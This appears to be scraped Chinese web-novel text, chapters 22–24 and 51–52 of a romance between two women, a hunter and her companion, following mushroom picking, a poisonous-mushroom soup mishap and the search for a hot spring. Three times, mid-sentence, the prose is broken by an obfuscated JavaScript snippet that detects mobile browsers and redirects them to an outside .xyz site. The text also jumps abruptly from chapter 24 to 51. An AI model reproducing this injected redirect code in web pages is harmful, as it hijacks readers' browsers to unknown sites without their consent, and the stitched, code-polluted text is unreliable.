蘑菇可以采回去炖鸡,板栗也可以捡回去炖鸡,反正山里野鸡很多。 夏时随口说着炖鸡的话,想起蘑菇炖鸡的鲜美,板栗炖鸡的清甜,倒真被勾出了几分食欲来。而楚棠也将她的话听到了耳里,脸上不禁露出些若有所思。 说来她到夏时家都半个月了,说好的洗衣做饭,她也只洗过一两次衣裳,做饭更是没有正经做过。倒是前些天向田二嫂请教过做饭的事,对方当时教给她一个特别简单的办法,就是炖——猎户家不缺肉,反正不管什么肉,和菜一起炖了加点盐都是好吃的。 楚棠想起从前喝的鸡汤,也都是简单清淡的模样,夏时说的炖鸡应该也不难做吧? …… 长蘑菇的断木离得并不是太远,楚棠跟着夏时在山里走了两刻钟,也就到了地方。定睛一看却是几棵大树断裂倒塌了,树应该是死了,没发出新芽,倒下的树干也已经干枯腐朽了。而现在这几截枯木果然就像夏时说的那样,上面已经冒出了不少蘑菇来。 明明昨天才下的雨,这枯木上的蘑菇倒是长得很快。只一天一夜的功夫,大一些的蘑菇已经有茶杯口大小,小一些的便是不计其数。 夏时绕着几根枯木看了看,长大能摘的蘑菇还不是很多,但也不算少,足够两人摘了。 楚棠已然跃跃欲试,见夏时看完回来便问:“怎么样,可以摘了吗?”问完又说:“我还是第一次摘蘑菇,该怎么摘?有什么讲究吗?” 夏时见她感兴趣的模样,眉眼不禁一弯,笑道:“这有什么好讲究的?总归把蘑菇摘下来扔进背篓里就行了,只要不弄得太碎,随便怎么摘都行。”说完想起什么,又提醒一句:“这里的蘑菇都是我认得的,可以摘来吃,但你要是在别的地方遇见蘑菇,可不能随便摘,说不定有毒。” 楚棠点头,这点常识她还是有的,据说菌子好吃就是有毒的太多,一个分辨不清吃了就容易中毒。不过夏时都来这里摘了几年蘑菇了,应是没有问题,她也就放心了。 这次两人都背了背篓出来,因为菌子本身不会太重,夏时也不担心楚棠背不动。 眼下交谈完,楚棠便迫不及待的冲着第一朵小蘑菇下了手,看着长挺结实的小蘑菇轻轻一摘就脱落下来。挺奇特的感觉,小蘑菇软软的,捏着手感也不错。 楚棠最后将到手的小蘑菇扔进了背篓里,眉眼间俱是满足的笑意。 ******************************************************* 夏时叮嘱过楚棠只摘大些的蘑菇后,两人便分开各自采摘起来。 采蘑菇也不是什么费劲的活计,再加上每摘下一朵蘑菇都是收获,丰收的喜悦足以冲散疲惫。以至于第一次摘蘑菇的楚棠都没来得及觉得辛苦,回过神时背篓都已装了大半。她再探头往夏时那边一瞧,对方摘得比她还快,背篓几乎都要满了。 当然,经过两人这一通采摘,个头稍大些的蘑菇几乎被一网打尽,背回去晒干应该够吃好几回了。不过蘑菇这东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15301292|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是看季节的,之后夏时找到机会肯定会再来,就像之前摘柿子那样。 眼看着摘得差不多了,楚棠这才站起身来。哪知弯腰太久,这一动腰间便觉一阵酸疼传来,顿时撑着腰眉头紧蹙,不敢再动了。 夏时留意到这边动静,忙跑了过来,着急道:“怎么了?闪到腰了?!” 楚棠摇摇头,酸痛也就那一阵,缓一缓也就好了:“没事,刚才弯腰太久,腰有点酸。” 夏时闻言放心下来,又见楚棠眉头还没有松开,下意识便伸手过去想帮她揉一揉。结果手刚碰到楚棠的腰,后者立刻躲开了两步,夏时的手落空了,心也有点空。 楚棠却是面红耳赤,自己揉了揉腰说道:“我,我没事,就是有点怕痒。” 她这话三分推脱,反倒有七分是真——楚棠的腰最是敏感,除了自己谁都不能碰,一碰就缩。她早养成习惯了,刚才也不是故意躲着夏时,但对方看上去就挺失落的。 “哦。”夏时应了一声,蔫头耷脑的,像是没吃到骨头的狗子。 楚棠看她这样就忍不住心软,又觉得是自己敏感辜负了对方的好意,于是主动凑了上去,勾着夏时的手指摇了摇:“好了,不是躲着你,是我真的怕痒。” 夏时很好哄,因为一点点小事失落,又因为楚棠的态度变得开心起来。 两人今日收获不错,但两只背篓并没有装满。她们商量了两句,最后决定去板栗树那边看看,成熟的板栗会自己掉下来,她们只需要捡就行了。 夏时一边牵着人往板栗树的方向走,一边说道:“这附近还有我挖的几个陷阱,几天没来看过了。一会儿捡完板栗咱们过去看看,说不定还有收获呢。” 楚棠只见过人弯弓狩猎,还没见过用陷阱的,一听这话顿时来了兴趣:“你做的陷阱收获怎么样?” 夏时却耸耸肩,不甚在意:“比不上打猎。打猎时一箭射过去,射空就是射空,射中就可以去捡猎物了,当时就能知道结果。可陷阱不一样,有没有收获看天意,有了收获能不能及时发现也看天意。万一发现得晚,掉下陷阱的猎物也都毁了。” 陷阱就是个偷懒的东西,偏偏想要靠它收获的话,还得成天来巡视。夏时可不耐烦这种听天由命的干等,所以她大多时候会直接打猎,这山上的陷阱许多还是她爹挖的。 不过今天她俩运气不错,查看的第一个陷阱里就有只还没被饿死的野鸡。 23. 第 23 章 日头西斜的时候,两人终于带着满满的收获折返归家。最先采摘的蘑菇全都放在了楚棠的背篓里,夏时则背上了陷阱里的猎物,以及见缝插针塞进去的一些板栗。 饶是如此,夏时也时不时伸手替楚棠抬一抬背篓,生怕那一篓蘑菇将她累着了。 “怎么样,重不重?要是太重的话,这个背篓也可以交给我来背。” “没事,不重,我背得动。” 这样的对话几乎持续了一路,所幸楚棠也知夏时是好意,因此每次都耐心回答。只是被问得多了,她多少也有些无奈,便不看夏时,将目光投向它处。 这一看楚棠才发现,原来山上不仅有蘑菇有板栗,也不止夏时带她去摘的柿子,就连路边的树木藤蔓上,这个季节也多的是成熟的果子。只是这些果子大多长得奇形怪状,都不曾出现在楚棠面前过,因此她便也不知这些果子里哪种能吃,哪种又不能吃。 新的话题就在眼前,楚棠离开感兴趣的问夏时:“这什么果子,能吃吗?” 夏时顺着她所指一看,却是一串红色的小果子,每颗约莫有山楂大小,但挤挤挨挨的长成一串看着就颇为喜人。尤其这个季节果子成熟,远远看去不仅醒目,还有些诱人。 说话间,楚棠已经俯身摘了两颗下来,放在鼻间轻嗅,倒是没闻到什么味道。 夏时见状便说:“没什么正经名字,我都管它叫红果。这东西倒也能吃,只没什么味道,吃起来寡淡得很,也不解渴。换个别的季节成熟的话,倒是还能拿它充饥,可现下漫山遍野都是成熟的野果,这东西除了好看也就不值得吃了。” 楚棠闻言倒也没有执意尝试,不过看这果子长的好看倒也没急着扔,便只拿在手里把玩起来。而后又走一阵,果然便如夏时所说,又见到了其他不同的野果。 这次不用楚棠问了,夏时便指着前面的野果说道:“这果子就别碰了,有毒的,不小心沾到汁液的话,手能肿成熊掌,三天都消不了肿。”说着扭头冲楚棠眨眨眼:“不过要是有人得罪了你,倒是可以摘一点回去,小小报复一下。” 楚棠摇摇头退开两步,离那果子远远的,又好奇问道:“你拿它报复过人?” 夏时立刻移开视线没接这话茬,但看她这反应就知道,这家伙估计真干过这事。不过住在山中的小猎户与谁结怨,甚至惹得她报复,楚棠就不得而知了。 当然,楚棠也没问,而是指着另一种果子问:“那这个呢?” 夏时瞄了一眼,便道:“这是八月果,已经长熟了,你可以尝一尝。” 她一边说一边摘下了一个八月果,果子外皮已经成熟到开裂,扒开之后就能看到里面白色的果肉。若是用指头戳上一戳,就会发现手感还挺软糯。 夏时剥完果皮就递给了楚棠,后者对她也是完全的信任,接过之后就听话的低头咬了一口。口感确实是软糯的,还有一点淡淡的甜,吃起来不比正经水果差。但有些东西只是野果而不入贵人餐桌是有理由的,便如这八月果,一口咬下去也不知生了多少籽。 楚棠含着一嘴的籽,神情略有些微妙,过了几息才转过身避开夏时视线,将这些不能吃的籽吐了。然后这一吐才发现,刚咬下的果肉几乎都随着籽吐了出去,最后也只尝了个味。 这当真是尝一尝啊,不过对于鲜少吃到甜味的普通百姓来说,尝一尝也是值得的。 夏时见她将籽吐了,这才笑道:“这果子就是这样,没什么果肉可吃,不过尝一尝味道还是不错的。” 两人说着话继续前行,又遇见许多楚棠没见过的野果,有些能吃有些不能,也有些能吃却不好吃的。夏时多半时候帮她避了雷,但偶尔玩笑心起,也哄着楚棠吃了些酸掉牙的。 说说笑笑,路便也不难走了,半下午的时候两人终于到了家。 ************************************************************ 进山耗费了半日时光,归来自然也没办法闲着。 夏时从山上十几处陷阱里捡到了几只猎物,除了一只半死不活的野鸡外,情况更糟糕的是一只半大的小野猪。这东西约莫是昨天落进陷阱里的,被陷阱里的木刺扎伤了,挣扎加受伤,折腾到今早终于流干血死在陷阱里了。 也是夏时她们运气好,要是再晚两天过去查看,这小野猪非但不能吃了,腐坏之后处理麻烦,夏时多半还得把那陷阱坑给填了,平白浪费一个陷阱。 而眼下把这猎物带回来也是放不得了,夏时回到家的第一件事就是把肉处理了。 楚棠没去看那血肉横飞的场面,她占了院子一角,听夏时的吩咐把摘回来的蘑菇挑拣晾晒。比较完整的那些都能晒成干,放到以后泡发了吃,那些被压坏的挑出来也能尽快吃掉。 两人各自忙碌起来,等夏时熟练的将小野猪分割处理完毕,楚棠这边也挑得差不多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15305313|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚采来的新鲜蘑菇摆了两大簸箕,独占小院一角。 夏时随意扫了一眼,并没有太在意,拎着刚分割的野猪肉问楚棠:“晚上吃野猪肉怎么样?” 楚棠抿了下唇没吱声,她本不是挑剔的性子,来到这里之后都是有什么吃什么。可今天她却对夏时手里的野猪肉毫无食欲,甚至有些反胃——野猪肉的腥臊味儿太重了,烹煮时处理过的还好,可刚才夏时就在这院子里分割的猪肉,那股味道随风飘散到她鼻间,她被熏得不轻,也完全没了食欲。 夏时见她眉头都皱起来了,也看出楚棠大概是不想吃野猪肉了。猜到几分原因的她倒也不勉强对方,决定晚点就把肉送到山下去,转而又问:“那你晚上想吃什么?” 楚棠目光便落在了手里的那些蘑菇上,夏时顺着她目光一看,立刻就想到了:“正好,今天带回来的那只野鸡也活不久了,干脆杀了炖汤。” 夏时也说炖汤,楚棠顿时生出了几分跃跃欲试:“那汤我来炖,可以吗?” 其实经过这些时日的相处,夏时也看出楚棠不熟悉家务了,因此大部分时候她都包揽了家务,只让楚棠在旁边看着学。她不着急催对方干活,不过今天楚棠难得主动说要做菜,她自然也是欣喜的。而且炖汤不难,夏时便毫不犹豫答应了:“这有什么不行的,我去杀鸡。” 夏时说做就做,果真抓了那只野鸡去杀。怕楚棠看到杀鸡的血腥场面,还特地背对着她处理的。猎户的手法干净利落,那野鸡连挣扎都没能挣扎几下。 之后烧水、拔毛、开膛破肚,这些倒没避着楚棠。后者甚至试着帮了些小忙,也将杀鸡的流程都看在了眼里。不过看归看记归记,要让楚棠学着杀鸡就是难为她了,那样干脆利落的抹脖子放血,哪怕杀的是只鸡她也不敢下手。 夏时对此并不介意,将处理好的鸡交给楚棠,还取了姜一并交给她:“好了,你看着炖吧。我去把鸡内脏处理一下,和着血一起,还能再炒一盘菜呢。” 炒鸡杂楚棠就不会了,因此她也没提这茬,只道:“那我先把鸡炖上。”说完拿着鸡走出几步,都到了灶房门口,才犹豫着回头问了一句:“万一我炖得不好吃……” 夏时摆摆手,她不在乎一只鸡:“没关系,鸡汤随便炖也好喝的,盐别加太多就是。” 楚棠听完放心了,又在心里回忆了一下田二嫂当初的教导,盘算了一下之后的动手流程,自觉胸有成竹了,这才拎着鸡带着蘑菇进了灶房。 24. 第 24 章 风吹云动,日光西斜。 随着时间缓缓流逝,闲静的小院里渐渐弥漫出鸡汤的香气。 夏时闻着这鸡汤的香味儿,却知道要等汤炖好还要不短的时间,正好趁着天还没黑,她下山一趟把手里的野猪肉处理了,也免得这好肉坏在了手里。 “我下山一趟,一会儿就回来。”夏时拎着野猪肉在灶房门口招呼了一声。 楚棠正坐在灶边烧火,闻言抬头摆摆手:“去吧,路上小心些,这汤还要炖好一会儿呢。” 夏时应了一声,背着几十斤肉就下山了,矫健的身影不过片刻就消失在了山道上——这肉当然不是白送人的,她心里已经盘算好要换些什么了。就是秋收结束,这肉有点多,恐怕不是一两家能够换完的,说不得她得从村头换到村尾去,得浪费不少时间。 所幸夏时今天的运气还不错,顺着村头敲门敲到第三家,这家过两日正好要办喜事。最后一番商量,用家里的两只母鸡外加一堆菜蔬换了夏时的肉。 夏时换好东西也不耽搁,转头就背着咯咯叫的母鸡回了山上。 这一来一回她跑得挺快,但也用了将近一个时辰,再次看到自家院门时,天色都暗了几分。不过没关系,还没走到院门口,她就已经闻到空气中浓郁的鸡汤香气了。 夏时的眼睛亮了几分,今天奔波了一天她也累了,而在疲累归家时能闻到自家传来饭菜香味儿,大概没有比这更让人觉得幸福的事了。 以至于夏时一路跑进家门就直奔灶房,然后冲着灶房里的人高喊一声:“我回来了!” 短短四个字却透出了一股掩饰不住的雀跃情绪,楚棠不知怎的也被感染,心情似乎也变得轻快起来。她站起身揭开锅盖看了看,又用筷子戳了戳,见肉已经炖得软烂一戳就破,这才对夏时说道:“回来得正好,汤已经炖好了,咱们先喝汤吧。” 夏时闻言点头,立刻去取了碗筷过来,打算盛汤。 只是没等她动手就被楚棠拦下了,她一边接过夏时手里的碗筷,一边将人往灶房外推:“行了,我来,你跑一天也累了,去坐着等吧。” 夏时想说自己不累,至少盛汤的力气还是有的,只是察觉到楚棠推人的动作坚决,到底还是顺从的出去了。同时心里有些美滋滋的,回家不仅有老婆做好的饭菜,还有老婆关心她劳累,这日子可比之前的孤家寡人好了不知多少。 另一边,楚棠如此坚定的将人推出门,倒也不完全是心疼夏时疲累。 这锅鸡汤是她第一次真正意义上的下厨,虽然闻着挺香,但她心里确实没什么谱。所以她想趁着鸡汤还没上桌,自己先尝尝味道。如果滋味儿不错的话,自然皆大欢喜,证明她颇有厨艺天赋。要是味道很差的话……那她也没办法,鸡总不能白死,只好委屈夏时一回了。 不过不论是那种结果,她心里总得先有个底。因此将夏时赶走之后她就先舀了一小勺鸡汤到碗里尝尝味道,然后就发现没什么味道,她忘记放盐了。 楚棠抬手拍了拍额头,又庆幸还好自己先尝了,忙不迭取了盐罐过来放盐。一次她也不敢多放,所幸少量多次的撒了几次盐后,也将咸淡调得正好。 这就足够了,至少这一锅鸡汤做得不算难喝,楚棠便也大大方方盛了两碗汤端出灶房。 另一边,夏时早已经搓着手等候许久了,见楚棠端了鸡汤过来忙不迭起身去接:“辛苦了辛苦了,快坐下吃吧,等这么久你也该饿了吧。” 两人相对而坐,一人面前一碗鸡汤,里面有肉有蘑菇,装了大半碗,吃完了还可以去灶房添。别的菜就没有了,楚棠不会做,夏时也并不强求,只拿这锅鸡汤当老婆下厨的开始。 当然,一锅鸡汤对于普通人家来说,也已经是极好的菜了。 夏时心里满意,决定好好品尝老婆的劳动成果。她一手捧着碗,一手拿着勺子搅动,腾腾热气化作白烟往上冒。过了一阵觉得没那么烫了,她才舀起一勺汤放到唇边吹凉,入口之前都已经想好该怎么捧场,夸老婆厨艺非凡了。 也就在这时,一抹艳色忽然闯入了夏时眼角余光。她下意识被吸引了注意,顺着那抹艳色一看,就见自己黄澄澄的汤碗里,一朵红色的蘑菇分外显眼。 夏时捏着勺子的手瞬间僵住了,眼睛渐渐睁大,脑海里却是一片空白。 紧接着思维开始跳跃,这一刻她想了挺多——她碗里怎么会有红色的毒蘑菇?是故意放的,还是无意混入其中?楚棠的视力没什么问题,这么大这么鲜艳的毒蘑菇她不可能看不见,所以是她故意放里面的吗?可为什么啊,难道是嫌弃自己,想把自己毒翻了好逃跑?! 夏时越想越多,后背开始发凉,也不太敢抬头去看对面的人。就怕对上楚棠视线,对方见她不动,问她一句“怎么还不喝汤”。 索性一息、两息、三息过后,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15311192|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的人也没有开口。 夏时终于从巨大的震惊中缓缓回神,她小心翼翼抬头,想看一看楚棠的脸色。 然而让夏时没想到的是,她这一抬头还没看到楚棠脸色,就先看到对方面前的汤碗已经空了一半……不是,她看自己碗里那朵毒蘑菇应该是煮熟了的,这一锅出的汤应该都有毒,她怎么就敢直接喝了?要是为了假装无事的话,这代价也太大了吧! 夏时懵了一瞬,接着立刻反应过来,端起自己的汤碗就放到了楚棠面前,那朵鲜艳的毒蘑菇飘在汤上面分外显眼:“你,你看这汤……” 楚棠看看汤碗又看看她,不明所以:“怎么了?这汤你不爱喝?” 看她那真诚询问的样子,夏时确定了,这人不是想害自己,而是纯粹没下过厨房,连这么明显的毒蘑菇都不认识。可这就更让人抓狂了,夏时一把抓住楚棠的手,指着毒蘑菇问她:“这蘑菇这么鲜艳,有毒的,你怎么就敢煮汤喝啊?!” 楚棠听到这话也懵了,她是真没进过厨房,更没见过什么毒蘑菇。说来这蘑菇还是她自己摘的,就在夏时指定的那几根枯木边上,虽然长得和其他蘑菇不同,但她以为那范围内的蘑菇都没问题来着。 现在说这个也晚了,楚棠只能看向夏时:“那现在怎么办?” 夏时也不认识碗里的毒蘑菇,不知道这种蘑菇毒性大不大,可不管怎么说都不能放任不管。她拉着楚棠就出了屋子,将人带到水沟前催促道:“先把喝下去的汤吐出来才行。” 楚棠觉得这要求有点为难,她现在虽然很心慌,但根本吐不出来。 夏时也看出来了,但她绕着楚棠转了两圈,却十分为难——换个人的话,她几拳头下去能把人打得吐出来,可娇滴滴的老婆她是真下不了手啊。 着急的转了两圈,夏时忽而想到了什么,飞快跑出门去。 楚棠见她走了,像是放下了包袱,俯下身试图吐出来。可尝试了几次也无果,反倒把她自己憋得眼眶泛红,泪光盈盈,看着可怜极了。 所幸夏时去得快,回来得也快,没一会儿便一阵风似得刮回来了。 她手里还捏着一把草,楚棠都没来得及辨认那是什么,就被夏时直接塞进了她嘴里。紧接着一股又苦又涩又腥的奇怪味道便在口腔中蔓延开来,冲得楚棠眼里那欲落不落的眼泪瞬间涌了出来,喉头更是一阵翻滚,终是扭头“哇”的一声吐了出来。 50-60 51☆、第51章 ◎是地热,这附近当有温泉才是◎ 外间的雪还未停,但楚棠和夏时并不想多做耽搁,当下便要带着几人出门去寻山洞。 临出门前,夏时在家中一通翻找,终于找到件蓑衣打算给楚棠披上:“家里没有油纸伞,就只有这个了,阿棠你先披上,免得雪化在身上打湿了衣裳。” 说话间,她便将那所以往楚棠肩头一搭。后者原本就穿得厚实,再被这蓑衣一压,顿时感觉浑身沉重无比。再加上一会儿还要在雪地里行走,楚棠略一思量便推拒了:“还是别了,这蓑衣太沉了,我戴个斗笠就好。再说有这身皮裘,衣裳也不会轻易弄湿的。” 田二一行人上山也只戴了个斗笠,风雪落了几人满身,但走进屋内把斗笠一摘,真正打湿的衣裳也就肩头那一块。皮毛上的落雪更容易抖落,楚棠这打算倒也没毛病。 夏时想了想也就没坚持,反手把蓑衣披自己身上了,万一一会儿老婆用得上她也能脱下来给她。 收拾完穿戴还不算完,她之前说要借给钱家老两口捕兽夹也不是空口白话,当下打开隔壁库房又是一通翻找,终于在角落里找到几个她爹留下来的捕兽夹。看着已是锈迹斑斑,不过夏时掰了一下发现弹压的力道依然很足,这就是可以用的。 于是她拎着四五个捕兽夹走了出来,冲几人说道:“这捕兽夹上生了锈,你们用的时候可得小心些,千万不能踩到了。我拿这几个是从前我爹用来捕猎猛兽的,一夹子下去,野猪的腿都能给夹断了。” 当然,野猪腿能夹断的东西,人腿也一样可以。 钱老头夫妇俩闻言,看向夏时手里的捕兽夹都充满了畏惧,甚至想要拒绝对方的好意。可转念一想,她们这是要住到山里去,没有这东西在外面做防护,老两口恐怕连个安稳觉都不敢睡。 壮了壮胆子,钱老头上*前仔细问过夏时捕兽夹怎么用,这才将东西从她手中接了过去。 夏时把自己该做的做了,也就放下心来,正要转身关上库房的门,忽然想到什么,又进去了一趟。不多时从里面出来,便冲众人摆摆手:“好了,走吧,我领你们去看看地方。” 几人应了一声,钱老头一手拎着铺盖卷,一手提着几只捕兽夹,脸上的皱纹都透着愁苦。可他也没立场怪夏时两人不近人情,本来跑这一趟也是他们强人所难。 一行人鱼贯出了小院,夏时反手关上院门,这才紧走几步到了前面领路。 山路向来不好走,尤其是没什么人烟的深山,大雪覆盖之下人们甚至分不清那雪下究竟是虚是实。好在有夏时领路,她一边走在前面领路,一边回头冲众人吩咐:“都跟着我的脚印走,有的雪下是空的,走远些还有陷阱,大家都小心些别踩进去。” 田二等人自然应是,一个个踩着夏时的脚印走得小心又谨慎。好在积雪新落,暂时还未凝结成冰,一路走来倒也没有打滑。 如是走了一两刻钟,众人脸都被凛冽冬风吹僵了,走在最前方的夏时终于说道:“到了,就在前面。” 众人闻言顿时精神一凛,赶忙加快脚步跟了上去。不多时走到一片山壁旁,夏时便指着一处裂缝说道:“就是这里了。别看这外面的洞口小,里面却是别有洞天,住上三五个人都不成问题。” 田二等人一听,纷纷凑了上去,可惜往那裂缝中一看,却是漆黑一片根本看不清什么。不过人站在洞口前一会儿,立刻便察觉到了不同,田二嫂率先开口奇道:“咦,这洞口里好像有风在往外吹,而且还是暖风?!” 夏时点点头:“所以我说冬天这里面也不会很冷。”说完转头看过众人:“要不进去看看?” 钱老头等人迟疑:“这,这里面既然这么暖和,会不会早有东西占了啊?” 这山洞夏时不是头一回进去了,上次她是躲进去避雨的,不过那时没有这样的风雪,也不觉得里面特别暖和。而现在是冬天,山里的动物也会自行寻找暖和的栖身之地过冬,里面说不定真有小动物抢先占据了。不过她也不怕,左右这洞口就这么点大,里面就算有东西,又能有多大? 夏时也不欲在此耽搁,尤其她看一眼楚棠,发现自家媳妇已经冻得脸颊通红。于是她掀开蓑衣,抽出腰后随身带来的猎刀:“行了,我先进去看看,有什么东西便先解决了。” 她说完就要往那裂缝里钻,却被楚棠一把拉住了。 回头看去,楚棠也没说什么,只叮嘱了一句:“里面黑,你小心些。” 夏时咧嘴一笑,她做了几年猎户,当然不是鲁莽的性子。站在洞口这会儿功夫,她已经仔细嗅过从山洞中吹出来的风了,没有什么特别强烈的腥臭气息,凭她的经验判断并不会很危险。当下拍拍楚棠的手安抚道:“放心,没事的,我很快就出来了。” 说完一矮身,钻进了那道裂缝,身形很快隐没在黑暗之中。 *************************************************************************** 等待总是十分磨人的,哪怕对夏时充满信心,楚棠等在山洞外时也不免有几分焦躁。 好在夏时做事向来干脆,约莫只等了半刻钟,楚棠刚刚感觉身上被冬日寒风吹得有些发冷,看见她从那裂缝里冒了头:“好了,没事了,都进来吧。” 其余人身上的冬衣可没楚棠那样厚实,再加上这大雪天的扛着行李赶路,体力消耗严重,这会儿早就被风吹的浑身发冷了。闻言几人连忙应是,刚要上前就见夏时已经冲着楚棠伸出了手,于是脚步纷纷一顿,等看着夏时先将人接进了山洞,这才跟着鱼贯而入。 夏时的话一点不假,外表只有人侧身才能挤过的山壁裂缝里,是一处宽阔的洞穴。且这山洞里一点都不冷,几人刚走进来,便感觉到了和外间风雪截然不同的融融暖意。 稍待片刻,眼睛渐渐适应了山洞里的昏暗,倒也不似从洞外查看时那样黑得伸手不见五指。 众人定睛再一打量,便发现这山洞地面不少枯枝落叶。奇怪的是这里如此温暖,地上居然没有毛发,也没有什么野生动物在这里筑窝的痕迹。 夏时已经仔细检查过了,便冲几人说道:“这里挺干净的,没有动物筑窝,你们可以安心住下了。” 几人已经将扛了一路的行李放下了,钱老头闻言在山洞里转了好几圈,终于露出了如释重负的表情:“是是是,多谢夏猎户帮忙。这里挺好的,外面下着雪这洞里暖和不说,还不憋闷,住上几个月我和老婆子也能熬过这个冬天了。” 说到后来,老两口一边笑着,一边抹了把泪,看着着实让人心酸。 田二两口子见状不免叹气,但安慰的话说再多也没用。两口子对视一眼,干脆撸起袖子帮忙收拾起来,不一会儿便将这空荡荡的山洞收拾的有模有样了。 楚棠和夏时原本也打算帮忙,结果却被四人一起拒了,都道已经足够麻烦她们,不需她俩在操劳。 既然如此,本就不擅长家务的两人干脆也就没插手。两人又绕着山洞转了两圈,细心的楚棠很快发现越是靠近山壁温度越高,于是干脆伸手在山壁上摸了摸——她一路走来手已经凉了,这一摸刚好察觉到那石壁竟然有些暖,想了想又俯下身摸了摸地面,结果地面温度更高。 夏时见状不明所以,跟着蹲下身来:“怎么了,你在摸什么?” 楚棠也不搭话,干脆牵了她的手按在地面上。两只手覆在了一处,夏时能感觉到手背上楚棠的手掌冰凉,与此同时她也感受到了掌心下传来丝丝暖意。 夏时之前并不曾发现这一点,当下略有些惊奇的看向了楚棠:“这是?” 楚棠微微颔首,说道:“是地热。如果我没猜错的话,这附近当有温泉才是。” 夏时在这山里生活了十几年,还真没留意过温泉这事。当下既是惊讶,又是惊喜:“真的?我听人说泡温泉可以养生。你身体这般虚弱又怕冷,如果真能找到温泉的话,你多泡一泡会不会让身体更好些?” 别说,楚棠从前还真泡过温泉,京城附近有座汤山,山上大大小小的温泉池足有上百之数。其中大部分都被皇家占据,其余也被勋贵世家瓜分。楚家发迹得晚是没有温泉别院的,但这不妨碍楚棠有机会泡到温泉——她两个好友家都有私人的温泉池,每隔些时日,两人便会邀她去汤山泡一泡温泉。 不过现下想来,上一回泡温泉也是半年前的事了,那时变故未生,大家都还安好。 夏时不知道自己说错了什么,使得楚棠这般恍惚失落。她心里莫名慌张,反手就握住了老婆冰冷的手,喊了一声:“阿棠。” 楚棠眨眼回神:“怎么了?”问完迅速整理好思绪,这才回应了夏时之前的问话:“偶尔泡一泡温泉确实对身体有好处,你也可以试试。” 夏时一边将楚棠的手捂在掌心暖着,一边点点头说道:“那一会儿咱们去找找看吧,要是找到了你可以多泡一泡。”说完看看地面:“这里都能感觉到暖和了,温泉应该也离得不远。” 52☆、第52章 ◎这山洞里的温泉她也想要◎ 发现附近有温泉,夏时的心思一下子就被勾走了大半。 她又回头看了一眼,见几人正在山洞里收拾安家,自觉帮不上什么忙,于是便冲田二说道:“田二哥,你们且在这里忙,我和阿棠有事出去看看,一会儿就回来。” 田二等人正在帮老两口安家,除了将带来的铺盖被褥之类的安置好,其余锅碗瓢盆之类的也需要处置妥当。眼下田二正和钱老头商量着怎么在山洞里搭个简易灶台,听到夏时这话就回头冲二人摆摆手:“那行,你们忙去吧,我和芙娘帮着安置收拾就够了,不费功夫。” 这也是实话,几人来这里之前都没想到,这山里的山洞居然这么暖和。原本还担心取暖问题的,现在倒好,只要为老两口的一日三餐做好准备就够了。 他们也发现了地面和石壁都发热的情况,只是村里人不知道是温泉的缘故,也都没多想。 打过招呼,夏时便兴致勃勃邀请楚棠:“走,咱们出去看看?这大冷的天,若是能找到温泉,你一会儿先泡泡手脚也是好的。” 楚棠没什么意见,点点头答应了,将手搭在了夏时递来的掌心里。 两人手牵手钻出了山洞,外间的风雪果然还是那般凉,冷风一吹,夏时都忍不住打了个寒颤。她又有些后悔了,回头看向楚棠:“外面好冷,要不然你还是回山洞里等着,我自己去找?” 楚棠抬手在她额头上轻敲了一下:“走吧,我哪里有那样娇气,之前不都从家里走过来了吗?” 她敲的力道一点都不大,夏时也没觉得疼,倒是从楚棠这随手的动作里看出几分亲昵来。她于是抬手摸了摸额上被楚棠敲过的位置,眉眼一弯,露出一抹傻笑来。 …… 冬日里的温泉池,说好找也好找。 夏时在这云雾山中狩猎也不是一日两日了,从前家里没有楚棠作为牵挂,她冬日也时常进山的。只是不论冬夏,她在这山中行走了这么久,也不曾发现温泉所在。 楚棠听完便做出了判断:“那温泉池必然不是露天的。不然夏日便罢了,到了冬天温泉水温偏高,必定水汽蒸腾,隔着老远便能看见。你之前还在冬日来过这附近,必不会视而不见。” 夏时听完觉得有理,可她又想不到温泉池不在露天还能在哪儿,当下不由满脸困惑。 楚棠一眼就看出来了,也不等她来询问,便指了指身后山壁。夏时回头一看,瞬间了然:“你的意思是那温泉池,也可能是在山洞里?” 不管究竟是不是,这总是个方向,而且夏时对楚棠也颇有些信任。 两人于是沿着那山壁寻找起来,在附近转了一大圈之后,终于看到了一点不太明显的水蒸气从某处冒了出来。只是那白色水汽刚出现在外界,被冷风一吹,立刻散了个干净。 夏时见状顿时激动起来,牵着楚棠的手也抓紧了两分:“阿棠你看,那里是不是?” 楚棠也看到了那点白雾,顿时笑道:“走吧,咱们过去看看。” 两人于是踩着积雪,深一脚浅一脚的冲着那白雾而去。还未到近前,便瞧见了一道黝黑洞口,与之前给钱老头夫妇寻的落脚山洞一般无二。 